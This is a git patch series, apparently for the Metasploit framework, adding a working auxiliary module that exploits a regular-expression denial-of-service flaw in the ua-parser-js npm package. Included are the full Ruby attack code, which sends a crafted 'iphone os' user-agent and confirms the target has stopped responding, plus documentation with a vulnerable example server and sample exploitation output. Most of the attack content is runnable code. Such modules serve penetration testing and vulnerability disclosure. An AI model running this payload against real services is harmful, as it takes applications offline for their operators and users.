From 306c5d20d935906a1f12692b2e496498be6ac38d Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Thu, 7 Dec 2017 10:25:29 -0600 Subject: [PATCH 1/4] Adding ua_parser_js ReDoS Module "ua-parser-js" is an npm module for parsing browser user-agent strings. Vulnerable version of this module have a problematic regular expression that can be exploited to cause the entire application processing thread to "pause" as it tries to apply the regular expression to the input. This is problematic for single-threaded application environments such as nodejs. The end result is a denial of service condition for vulnerable applications, where no further requests can be processed. --- .../auxiliary/dos/http/ua_parser_js_redos.rb | 108 ++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 modules/auxiliary/dos/http/ua_parser_js_redos.rb diff --git a/modules/auxiliary/dos/http/ua_parser_js_redos.rb b/modules/auxiliary/dos/http/ua_parser_js_redos.rb new file mode 100644 index 0000000000..435801036a --- /dev/null +++ b/modules/auxiliary/dos/http/ua_parser_js_redos.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize + super( + 'Name' => 'ua-parser-js npm module - Regular Expression Denial of Service', + 'Description' => %q{ + This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16. + }, + 'References' => + [ + ['CWE', '400'], + ], + 'Author' => + [ + 'Ryan Knell, Sonatype Security Research', + 'Nick Starke, Sonatype Security Research', + ], + 'License' => MSF_LICENSE + ) + + register_options([ + Opt::RPORT(80) + ]) + end + + def run + if !test_service + fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.") + else + trigger_redos + test_service_unresponsive + end + end + + def trigger_redos + begin + print_status("Sending ReDoS request to #{peer}.") + + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'headers' => { + 'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64) + } + }) + + if res.nil? + print_status("No response received from #{peer}, service is most likely unresponsive.") + else + fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.") + end + + rescue ::Rex::ConnectionRefused + print_error("Unable to connect to #{peer}.") + rescue ::Timeout::Error + print_status("No HTTP response received from #{peer}, this indicates the payload was successful.") + end + end + + def test_service_unresponsive + begin + print_status("Testing for service unresponsiveness.") + + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) + + if res.nil? + print_good("Service not responding.") + else + print_error("Service responded with a valid HTTP Response; ReDoS attack failed.") + end + rescue ::Rex::ConnectionRefused + print_error("An unknown error occurred.") + rescue ::Timeout::Error + print_good("HTTP request timed out, most likely the ReDoS attack was successful.") + end + end + + def test_service + begin + print_status("Testing Service to make sure it is working.") + + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) + + if !res.nil? && (res.code == 200 || res.code == 404) + print_status("Test request successful, attempting to send payload") + return true + else + return false + end + rescue ::Rex::ConnectionRefused + print_error("Unable to connect to #{peer}.") + return false + end + end +end From 2d23054a1f104fd72478acb06f33ce4edc09dc4e Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Mon, 11 Dec 2017 14:11:40 -0600 Subject: [PATCH 2/4] Changes as per comments A few things were changed as per the PR comments: 1) The module title was reworded 2) The module description was multi-lined 3) Negative logic was rewritten to use 'unless' 4) Strings which did not require interpolation were rewritten 5) Documentation markdown was added. --- .../auxiliary/dos/http/ua_parser_js_redos.md | 62 +++++++++++++++++++ .../auxiliary/dos/http/ua_parser_js_redos.rb | 25 +++++--- 2 files changed, 77 insertions(+), 10 deletions(-) create mode 100644 documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md diff --git a/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md b/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md new file mode 100644 index 0000000000..4ac116ba6f --- /dev/null +++ b/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md @@ -0,0 +1,62 @@ +## Vulnerable Application +This auxiliary module exploits a Regular Expression Denial of Service vulnerability +in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable. +Any application that uses a vulnerable version of this module and calls the `getOS` +or `getResult` functions will be vulnerable to this module. An example server is provided +below. + +``` +npm i ua-parser-js@0.7.15 +``` + +## Verification Steps + +Example steps in this format (is also in the PR): +1. Create a new directory for test application. +2. Copy below example server into test application directory as `server.js`. +3. Run `npm i express` to install express in the test application directory. +4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js. +5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js. +6. Once all dependencies are installed, run the server with `node server.js`. +7. Open up a new terminal. +8. Start msfconsole. +9. `use auxiliary/dos/http/ua_parser_js_redos`. +10. `set RHOSTS `. +11. `run`. +12. In vulnerable installations, Module should have positive output and the test application should accept no further requests. +13. In non-vulnerable installations, module should have negative output and the test application should accept further requests. + +## Scenarios + +### ua-parser-js npm module version 0.7.15 + +Expected output for successful exploitation: + +``` +[*] Testing Service to make sure it is working. +[*] Test request successful, attempting to send payload +[*] Sending ReDoS request to 192.168.3.24:3000. +[*] No response received from 192.168.3.24:3000, service is most likely unresponsive. +[*] Testing for service unresponsiveness. +[+] Service not responding. +[*] Auxiliary module execution completed +``` + +### Example Vulnerable Application + +``` +// npm i express +// npm i ua-parser-js@0.7.15 (vulnerable) +// npm i ua-parser-js (non-vulnerable) + +const express = require('express') +const uaParser = require('ua-parser-js'); +const app = express() + +app.get('/', (req, res) => { + var parser = new uaParser(req.headers['user-agent']); + res.end(JSON.stringify(parser.getResult())); +}); + +app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!')) +``` diff --git a/modules/auxiliary/dos/http/ua_parser_js_redos.rb b/modules/auxiliary/dos/http/ua_parser_js_redos.rb index 435801036a..d55f48b355 100644 --- a/modules/auxiliary/dos/http/ua_parser_js_redos.rb +++ b/modules/auxiliary/dos/http/ua_parser_js_redos.rb @@ -9,12 +9,17 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ua-parser-js npm module - Regular Expression Denial of Service', + 'Name' => 'ua-parser-js npm module ReDoS', 'Description' => %q{ - This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16. + This module exploits a Regular Expression Denial of Service vulnerability + in the npm module "ua-parser-js". Server-side applications that use + "ua-parser-js" for parsing the browser user-agent string will be vulnerable + if they call the "getOS" or "getResult" functions. This vulnerability was + fixed as of version 0.7.16. }, 'References' => [ + ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'], ['CWE', '400'], ], 'Author' => @@ -31,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary end def run - if !test_service + unless test_service fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.") else trigger_redos @@ -66,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary def test_service_unresponsive begin - print_status("Testing for service unresponsiveness.") + print_status('Testing for service unresponsiveness.') res = send_request_cgi({ 'uri' => '/' + Rex::Text.rand_text_alpha(8), @@ -74,20 +79,20 @@ class MetasploitModule < Msf::Auxiliary }) if res.nil? - print_good("Service not responding.") + print_good('Service not responding.') else - print_error("Service responded with a valid HTTP Response; ReDoS attack failed.") + print_error('Service responded with a valid HTTP Response; ReDoS attack failed.') end rescue ::Rex::ConnectionRefused - print_error("An unknown error occurred.") + print_error('An unknown error occurred.') rescue ::Timeout::Error - print_good("HTTP request timed out, most likely the ReDoS attack was successful.") + print_good('HTTP request timed out, most likely the ReDoS attack was successful.') end end def test_service begin - print_status("Testing Service to make sure it is working.") + print_status('Testing Service to make sure it is working.') res = send_request_cgi({ 'uri' => '/' + Rex::Text.rand_text_alpha(8), @@ -95,7 +100,7 @@ class MetasploitModule < Msf::Auxiliary }) if !res.nil? && (res.code == 200 || res.code == 404) - print_status("Test request successful, attempting to send payload") + print_status('Test request successful, attempting to send payload') return true else return false From dd5532c5de5de5882a0a2e06cb8d06ef7f323c53 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Wed, 13 Dec 2017 14:26:27 -0600 Subject: [PATCH 3/4] Addressing Formatting Issues There were several formatting and layout issues that are fixed in this commit. Also changing `RHOSTS` to `RHOST`. --- .../modules/auxiliary/dos/http/ua_parser_js_redos.md | 6 +++++- modules/auxiliary/dos/http/ua_parser_js_redos.rb | 10 +++++----- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md b/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md index 4ac116ba6f..b22a29f839 100644 --- a/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md +++ b/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md @@ -1,10 +1,14 @@ ## Vulnerable Application + This auxiliary module exploits a Regular Expression Denial of Service vulnerability in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable. Any application that uses a vulnerable version of this module and calls the `getOS` or `getResult` functions will be vulnerable to this module. An example server is provided below. +## How to Install + +To install a vulnerable version of `ua-parser-js`, run: ``` npm i ua-parser-js@0.7.15 ``` @@ -21,7 +25,7 @@ Example steps in this format (is also in the PR): 7. Open up a new terminal. 8. Start msfconsole. 9. `use auxiliary/dos/http/ua_parser_js_redos`. -10. `set RHOSTS `. +10. `set RHOST `. 11. `run`. 12. In vulnerable installations, Module should have positive output and the test application should accept no further requests. 13. In non-vulnerable installations, module should have negative output and the test application should accept further requests. diff --git a/modules/auxiliary/dos/http/ua_parser_js_redos.rb b/modules/auxiliary/dos/http/ua_parser_js_redos.rb index d55f48b355..48db508d27 100644 --- a/modules/auxiliary/dos/http/ua_parser_js_redos.rb +++ b/modules/auxiliary/dos/http/ua_parser_js_redos.rb @@ -9,25 +9,25 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ua-parser-js npm module ReDoS', - 'Description' => %q{ + 'Name' => 'ua-parser-js npm module ReDoS', + 'Description' => %q{ This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16. }, - 'References' => + 'References' => [ ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'], ['CWE', '400'], ], - 'Author' => + 'Author' => [ 'Ryan Knell, Sonatype Security Research', 'Nick Starke, Sonatype Security Research', ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE ) register_options([ From 544e4e3d0b1f559ebf1aa460e5601b50ea9cf6b3 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 13 Dec 2017 19:30:50 -0500 Subject: [PATCH 4/4] fix md formatting --- documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md b/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md index b22a29f839..38a542f4a3 100644 --- a/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md +++ b/documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md @@ -16,6 +16,7 @@ npm i ua-parser-js@0.7.15 ## Verification Steps Example steps in this format (is also in the PR): + 1. Create a new directory for test application. 2. Copy below example server into test application directory as `server.js`. 3. Run `npm i express` to install express in the test application directory. @@ -25,7 +26,7 @@ Example steps in this format (is also in the PR): 7. Open up a new terminal. 8. Start msfconsole. 9. `use auxiliary/dos/http/ua_parser_js_redos`. -10. `set RHOST `. +10. `set RHOST [IP]`. 11. `run`. 12. In vulnerable installations, Module should have positive output and the test application should accept no further requests. 13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.